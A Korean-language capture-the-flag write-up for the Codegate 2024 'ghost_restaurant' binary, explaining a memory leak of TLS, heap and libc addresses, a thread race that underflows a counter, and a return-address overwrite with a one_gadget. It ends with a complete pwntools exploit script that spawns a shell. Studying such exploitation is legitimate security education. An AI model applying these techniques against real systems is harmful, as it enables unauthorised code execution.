Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

0x00. Introduction

[*] '/home/user/ghost_restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct food {
    char name[0x40];
    long cook_time;
    long left_time;
}

์ด ์™ธ์—๋„ ์‚ฌ์šฉ๋˜๋Š” ๊ตฌ์กฐ์ฒด๊ฐ€ ๋ช‡๊ฐœ ์žˆ์ง€๋งŒ ๋ฌธ์ œ ํ’€์ด์— ์ค‘์š”ํ•œ ๊ตฌ์กฐ์ฒด๋งŒ ์ •๋ฆฌํ•˜์˜€๋‹ค.

Concept

oven์„ ์ƒ์„ฑํ•ด์„œ ์„ ํƒํ•˜๋ฉด cook_1928 ์“ฐ๋ ˆ๋“œ๊ฐ€ ์ƒ์„ฑ๋˜์–ด food๋ฅผ insertํ•˜๊ฑฐ๋‚˜ removeํ•  ์ˆ˜ ์žˆ๋‹ค.

insert ์‹œ ์ž…๋ ฅํ•œ cook_time๋งŒํผ์˜ ์‹œ๊ฐ„์ด ์ง€๋‚˜๋ฉด food๊ฐ€ ์™„์„ฑ๋œ๋‹ค. ์ด ๋•Œ ์‹œ๊ฐ„์„ ๊ฐ์†Œ์‹œํ‚ค๊ณ  ์‹œ๊ฐ„์ด ๋‹ค ์ง€๋‚ฌ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์€ start_routine_16B1 ์“ฐ๋ ˆ๋“œ๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง„๋‹ค.

0x01. Vulnerability

Information Leak

cook_time์ด ๋‹ค ๋˜์–ด์„œ๋“ , remove๋ฅผ ํ•ด์„œ๋“  food๊ฐ€ ์‚ญ์ œ๋  ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋กœ์ง์„ ํ†ตํ•ด ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋ณ€๊ฒฝ๋œ๋‹ค.

printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
  food_next = food[i + 1];
  food_cur = food[i];
  memcpy(food_cur, food_next, 0x50);
}

์ด ๋•Œ food๊ฐ€ ๊ฝ‰ ์ฐผ์„ ๋•Œ๋„ food[i + 1]์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณต์‚ฌํ•˜๋ฏ€๋กœ food ๊ตฌ์กฐ์ฒด ๋‹ค์Œ ์˜์—ญ์— ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋‹ค๋ฉด leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Race Condition

food์˜ ๋‚จ์€ ์‹œ๊ฐ„์„ ์ฒดํฌํ•˜๋Š” start_routine_16B1์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด,

void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
  ...
  while ( 1 )
  {
    if ( *(__int64 *)arg->count > 0 )
    {
      for ( i = 0; i < *(_QWORD *)arg->count; ++i )
      {
        if ( arg->food[i].left_time > 0 )
        {
          food_tmp = &arg->food[i];
          if ( !--food_tmp->left_time )
          {
            printf("'%s' is ready!\n", arg->food[i].name);
            ...
            for ( j = i; j < *(_QWORD *)arg->count; ++j )
            {
              food_next = &arg->food[j + 1];
              food_cur = &arg->food[j];
              memcpy(food_cur, food_next, 0x50);
            }
            --*(_QWORD *)arg->count;
          }
        }
      }
    }
    sleep(1u);
  }
}

left_time์ด 0์ด ๋์„ ๋•Œ ํ•ด๋‹น food ๊ตฌ์กฐ์ฒด ์ดํ›„์˜ ๊ตฌ์กฐ์ฒด๋“ค์„ ํ•œ ์นธ์”ฉ ์•ž์œผ๋กœ ๋•ก๊ฒจ์ฃผ๊ณ  food_count๋ฅผ ๊ฐ์†Œ์‹œํ‚จ๋‹ค.

์ด ์™ธ์— ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋„ food๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ cook_1928์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด,

void *__fastcall cook_1928(struct oven *a1)
{
  ...
  while ( 1 )
  {
    pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
    while ( !LODWORD(oven->ready) )
      pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
    ...
    __isoc99_scanf("%d", &choice);
    ...
    if ( choice == 2 )
    {
      printf("Select food to remove in '%s':\n", oven->name);
      ...
      __isoc99_scanf("%d", &tmp);
      if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
      {
        LODWORD(tmp) = tmp - 1;
        for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
        {
          food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
          food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
          memcpy(food_cur, food_next, 0x50);
        }
        __writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
        goto LABEL_39;
      }
LABEL_19:
      puts("Invalid choice.");
      pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
    }
LABEL_39:
    pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
  }
  ...
}

ํ˜„์žฌ ๋“ค์–ด๊ฐ€์žˆ๋Š” food์˜ ๋ชฉ๋ก์„ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  tmp์— ์ œ๊ฑฐํ•  food์˜ ์ธ๋ฑ์Šค๋ฅผ ๋ฐ›์•„์„œ ์‚ญ์ œํ•œ ํ›„ 26๋ฒˆ ๋ผ์ธ์˜ __writefsqword()๋ฅผ ํ†ตํ•ด food_count ๊ฐ’์„ ๊ฐ์†Œ์‹œํ‚จ๋‹ค.

์—ฌ๊ธฐ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์€ start_routine_16B1์—์„œ ์‹œ๊ฐ„์ด ๋‹ค ๋์„ ๋•Œ food_count๋ฅผ ๊ฐ์†Œ์‹œํ‚ค๋Š” ์ฝ”๋“œ๊ฐ€ critical section์œผ๋กœ ๊ด€๋ฆฌ๋˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ cook_1928์˜ remove ๋กœ์ง๊ณผ ๋™์‹œ์— ์‹คํ–‰๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— race condition์ด ๋ฐœ์ƒํ•œ๋‹ค.

cook_1928start_routine_16B1
if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )
food_next = &arg->food[j + 1];
food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);
food_cur = &arg->food[j];
food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
memcpy(food_cur, food_next, 0x50);
memcpy(food_cur, food_next, 0x50);
--*(_QWORD *)arg->count;
__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);

์œ„์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ race condition์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด insert๋ฅผ ํ•œ๋ฒˆ ํ–ˆ๋”๋ผ๋„ ๊ฐ’์˜ ๊ฐ์†Œ๊ฐ€ ๋‘๋ฒˆ ์ด๋ฃจ์–ด์ ธ food_count์— underflow๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

0x02. Exploit

Information Leak

food[0]์„ ๊ธฐ์ค€์œผ๋กœ food์˜ ์‚ฌ์ด์ฆˆ์ธ 0x50์”ฉ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ถœ๋ ฅํ•˜๋‹ค๋ณด๋ฉด ๋‹ค์Œ ์˜์—ญ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

gefโžค
0x7ffff7da56a0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0      0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0      0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000      0x3ce1f8458248c000

food[4]์— ํ•ด๋‹นํ•˜๋Š” ์˜์—ญ์— ์œ„์™€ ๊ฐ™์ด TLS(Thread Local Storage), heap ์˜์—ญ์— ๋Œ€ํ•œ ์ฃผ์†Œ์™€ ์ด ๋ฌธ์ œ์—์„œ ํ•„์š”ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ canary ๊ฐ’์ด ์ €์žฅ๋˜์–ด์žˆ๋‹ค. food๋Š” ์ตœ๋Œ€ 4๊ฐœ๊นŒ์ง€ insertํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ food[0]~food[3]๊นŒ์ง€ ์ƒ์„ฑํ–ˆ๋‹ค๊ฐ€ food[0]์„ remove๋ฅผ ํ•˜๋ฉด food[4]์˜ ๋ฐ์ดํ„ฐ๋ฅผ food[3]์— ๋ณต์‚ฌํ•œ๋‹ค. ์ด๋Ÿฐ ์‹์œผ๋กœ food[0]์„ 4๋ฒˆ removeํ•˜๋ฉด food[4] ์˜์—ญ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ food[0]~food[3]์— ๋ณต์‚ฌ๊ฐ€ ๋œ๋‹ค.

์ฐธ๊ณ ๋กœ 0x7ffff7da56c0์— ์ €์žฅ๋œ 0x7ffff7da56c0๊ฐ€ TLS ์ฃผ์†Œ๋กœ, __readfsqword(0)๋ฅผ ์‹คํ–‰ํ–ˆ์„ ๋•Œ ๋ฐ˜ํ™˜๋˜๋Š” ๊ฐ’์ด๋‹ค. ์ด ๊ฐ’์ด ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ฐ”๋€Œ๊ฒŒ ๋˜๋ฉด __readfsqword(0)์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐ”๋€ ๊ฐ’์œผ๋กœ ๋ฐ˜ํ™˜๋˜์–ด ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค.

printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
  printf(
    "%d. %s (cooking for %lld seconds, %lld seconds left)\n",
    (unsigned int)(i + 1),
    (const char *)(80LL * i + __readfsqword(0) - 0x160),  // name; 0x00007ffff7d864e0
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120),   // cook_time
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118));  // left_time

food.name์˜ ์ถœ๋ ฅ์„ %s๋กœ ํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ์ค‘๊ฐ„์— ์žˆ๋Š” \x00๋“ค์„ ์ฑ„์›Œ์ฃผ์–ด์•ผ ํ•œ๋‹ค. ์ด ์กฐ๊ฑด์€ name์„ ํƒ ์‹œ ๊ณ ๋ฅผ ์ˆ˜ ์žˆ๋Š” hidden choice๋ฅผ ํ•˜๋ฉด ํ˜ธ์ถœ๋˜๋Š” read()๋ฅผ ํ†ตํ•ด ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค.

if ( food_choice == 4 )     // hidden
{
  pthread_mutex_lock(&prompt_mutex_5100);
  printf("Enter food name for spacial food: ");
  read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL);  // name; 0x00007ffff7d864e0
  pthread_mutex_unlock(&prompt_mutex_5100);
}

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    create_oven(s, b"1111")
    select_oven(s, b"1")

    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

์ด ๋•Œ TLS์˜ ์œ„์น˜๊ฐ€ libc์˜ ๋ฐ”๋กœ ์œ„ ์˜์—ญ์— ํ• ๋‹น๋˜๋ฏ€๋กœ offset์„ ๊ณ„์‚ฐํ•˜๋ฉด libc base๋„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

Race Condition

Race condition์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ sleep time์„ ๊ตฌํ•˜๊ธฐ ์œ„ํ•ด brute force๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        # code for information leak

        insert_food(s, b"1", 1)
        sleep_time = 0.95 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

์‹ค์งˆ์ ์œผ๋กœ๋Š” information leak์„ ์ˆ˜ํ–‰ํ•œ ํ›„์— race condition์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฏ€๋กœ ๊ฐ™์€ ์ƒํ™ฉ์„ ๋งŒ๋“ค์–ด์ฃผ๊ธฐ ์œ„ํ•ด information leak์„ ์œ„ํ•œ payload๋„ ์ค‘๊ฐ„์— ์ž‘์„ฑํ•ด์•ผ ์ •ํ™•ํ•œ time์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

ํŠธ๋ฆฌ๊ฑฐ ์„ฑ๊ณต ์‹œ food_count๊ฐ€ -1์ด ๋˜๊ณ  ์ด ๋•Œ insert๋ฅผ ํ•˜๋ฉด food[-1]์— ๋ฐ์ดํ„ฐ๋ฅผ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ๋œ๋‹ค.

food[-1]     :  0x00007ffff7da5510 -> name[0x40]
                0x00007ffff7da5520
                0x00007ffff7da5530
                0x00007ffff7da5540
food_count   :  0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0]      :  0x00007ffff7da5560 -> name[0x40]
                0x00007ffff7da5570
                0x00007ffff7da5580
                0x00007ffff7da5590
                0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
                0x00007ffff7da55b0
                ...
TLS          :  0x00007ffff7da56c0
                ...
LIBC         :  0x00007ffff7da9000

์ด ๋•Œ ์ž…๋ ฅํ•˜๋Š” cook_time์ด food_count ์œ„์น˜์— ์“ฐ์—ฌ์ง€๊ธฐ ๋•Œ๋ฌธ์— cook_time์„ 60์œผ๋กœ ์ž…๋ ฅํ•˜๋ฉด food_count๊ฐ€ 60์ธ ๊ฒƒ์œผ๋กœ ์ธ์‹๋˜์–ด food๋ฅผ 60๊ฐœ ์ถœ๋ ฅํ•ด์ค€๋‹ค. ๋”ฐ๋ผ์„œ ํŠธ๋ฆฌ๊ฑฐ ์„ฑ๊ณต ์—ฌ๋ถ€๋ฅผ ์ถœ๋ ฅ๋˜๋Š” food์˜ ๊ฐœ์ˆ˜๋กœ ํŒ๋‹จํ•˜๊ฒŒ๋” payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

โžœ  python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816

๊ทธ ๊ฒฐ๊ณผ ์ ๋‹นํ•œ sleep time์„ ๊ตฌํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๋‹ค๋งŒ ์—ฌ๋Ÿฌ ๋ฒˆ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ์ด์Šˆ ๋•Œ๋ฌธ์ธ์ง€ time window๊ฐ€ ์กฐ๊ธˆ์”ฉ ๋ฐ€๋ฆฌ๋Š” ๋ชจ์–‘์ด๋‹ค.

RIP Control

Race condition์„ ํŠธ๋ฆฌ๊ฑฐํ•œ ํ›„ gdb์—์„œ info threads๋ฅผ ํ†ตํ•ด ์“ฐ๋ ˆ๋“œ ์ •๋ณด๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  info threads
  Id   Target Id          Frame
  1    LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2    LWP 974149 "chall" 0x0000555555555e51 in ?? ()
  3    LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6

์ด ์ค‘ 3๋ฒˆ ์“ฐ๋ ˆ๋“œ๊ฐ€ start_routine_16B1์ด ์‹คํ–‰๋˜๋Š” ์“ฐ๋ ˆ๋“œ๋กœ, thread 3 ๋ช…๋ น์„ ํ†ตํ•ด context๋ฅผ switchํ•ด๋ณด๋ฉด,

[#0] 0x7ffff7e95adf โ†’ clock_nanosleep()
[#1] 0x7ffff7ea2a27 โ†’ nanosleep()
[#2] 0x7ffff7eb7c63 โ†’ sleep()
[#3] 0x555555555923 โ†’ jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 โ†’ jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 โ†’ clone()
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
gefโžค  p $rsp
$1 = (void *) 0x7ffff75a3c20
gefโžค  vmmap 0x7ffff75a3c20
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-

์œ„์™€ ๊ฐ™์ด ๋งค ์ดˆ๋งˆ๋‹ค left_time์„ ๊ฐ์†Œ์‹œํ‚ค๊ณ  food๊ฐ€ ์™„์„ฑ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ clock_nanosleep()์„ ์‹คํ–‰ํ•˜๊ณ  ์žˆ๋‹ค.

๋˜ํ•œ ์•ž์„œ leakํ•œ TLS์™€๋Š” ๋‹ค๋ฅธ TLS ์˜์—ญ์„ ํ• ๋‹น๋ฐ›์•„ stack์œผ๋กœ ํ™œ์šฉํ•˜๊ณ  ์žˆ๋‹ค.

Call stack์„ ๋ณด๋ฉด sleep() -> nanosleep() -> clock_nanosleep() ์ˆœ์œผ๋กœ ํ˜ธ์ถœ์ด ๋˜์—ˆ๋Š”๋ฐ, ๋ฌด์–ธ๊ฐ€ overwrite๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋ผ๋ฉด ํ˜ธ์ถœ ์ฃผ๊ธฐ๊ฐ€ ๊ธด sleep()์„ ํƒ€๊ฒŸ์œผ๋กœ ๋””๋ฒ„๊น…์„ ํ•˜๋‹ค๋ณด๋ฉด,

 โ†’ 0x7ffff7eb7c84 <sleep+100>      ret
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€
[#0] 0x7ffff7eb7c84 โ†’ sleep()
[#1] 0x555555555923 โ†’ jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 โ†’ jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 โ†’ clone()
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
gefโžค  x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923

์ด๋ ‡๊ฒŒ sleep()์ด ret๋ฅผ ํ•˜๋Š” ์ˆœ๊ฐ„์ด ์˜ค๊ณ  ์ด ๋•Œ rsp๋Š” 0x7ffff75a3ce8๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋‹ค. ์ด ์ฃผ์†Œ๋Š” ์•ž์„œ leakํ•œ 0x7ffff7da56c0์™€ ๋‹ค๋ฅธ TLS ์˜์—ญ์˜ ์ฃผ์†Œ์ด๊ธด ํ•˜์ง€๋งŒ, TLS ์‚ฌ์ด์˜ offset์ด ์ผ์ •ํ•˜๊ฒŒ ํ• ๋‹น์ด ๋˜์–ด offset์„ ๊ณ„์‚ฐํ•ด์ฃผ๋ฉด ํ•ด๋‹น ์˜์—ญ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

์›๋ณธ ๋ฌธ์ œ๋Š” shadow stack์ด ์ ์šฉ๋˜์–ด์žˆ์œผ๋‚˜ ์—ฌ๊ธฐ์—์„œ๋Š” shadow stack์ด ์—†๋Š” ํ™˜๊ฒฝ์ด๊ธฐ ๋•Œ๋ฌธ์— ์ด return address๋ฅผ ๋ฎ์–ด์„œ RIP control์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Race condition ํŠธ๋ฆฌ๊ฑฐ์— ์„ฑ๊ณตํ•˜๋ฉด food_count๊ฐ€ -1์ด ๋˜๊ณ , ์ด๋กœ ์ธํ•ด food[-1].cook_time์ด food_count์˜ ์œ„์น˜์— ์“ฐ์ด๋ฉด์„œ ํฐ ๊ฐ’์„ ๊ฐ–๊ฒŒ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ index๋ฅผ ์ ์ ˆํžˆ ์ด์šฉํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด thread 3์—์„œ ํ˜ธ์ถœ๋˜๋Š” sleep()์˜ return address์— ๊ฐ’์„ ์“ฐ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

    insert_food(s, b"1", 1)
    sleep(0.9813)
    remove_food(s, b"1")
    
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))

    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

๋งˆ์นจ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” one shot ๊ฐ€์ ฏ์ด ์žˆ์–ด์„œ one shot ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์ฃผ์—ˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"

code_base = 0x0000555555554000
bp = {
    'cook' : code_base + 0x1928,
    'dec_count_cook' : code_base + 0x21F9,
    'read_insert_cook' : code_base + 0x1E51,
    'remove_cook' : code_base + 0x1F9D,
    'go_back_cook' : code_base + 0x221A,
    'ret_print_oven' : code_base + 0x16B0,
}

gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_oven(s, name):
    s.sendline(b"0")
    s.recvuntil(b"name: ")
    s.sendline(name)
    return s.recvuntil(b"option: ")

def select_oven(s, number):
    s.sendline(number)
    return s.recvuntil(b"option: ")

def insert_food(s, number, time, name=""):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(number)
    s.recvuntil(b"(seconds): ")
    s.sendline(str(time).encode())
    if number == b"5":
        s.recvuntil(b"food: ")
        s.send(name)
    return s.recvuntil(b"option: ")

def remove_food(s, number):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(number)
    return s.recvuntil(b"option: ")

def go_back(s):
    s.sendline(b"3")
    return s.recvuntil(b"option: ")

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        for _ in range(4):
            insert_food(s, b"1", 12345)
        for _ in range(4):
            remove_food(s, b"1")
        insert_food(s, b"5", 12345, b"A" * 0x20)
        r = insert_food(s, b"5", 12345, b"B" * 0x28)
        tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
        libc = tls + 0x3940
        heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
        remove_food(s, b"1")
        remove_food(s, b"1")

        insert_food(s, b"1", 1)
        sleep_time = 0.98 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

def main(port, debug, brute_force):
    if(brute_force):
        brute_force_time(port)
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"option: ")
    create_oven(s, b"1111")
    select_oven(s, b"1")

    # information leak
    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

    # trigger race condition
    insert_food(s, b"1", 1)
    sleep(0.9814)
    remove_food(s, b"1")
    
    # overwrite food_count
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))
    
    # overwrite ret of sleep() in thread 3
    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    parser.add_argument('-b', '--brute_force', type=int, default=0)
    args = parser.parse_args()
    main(args.port, args.debug, args.brute_force)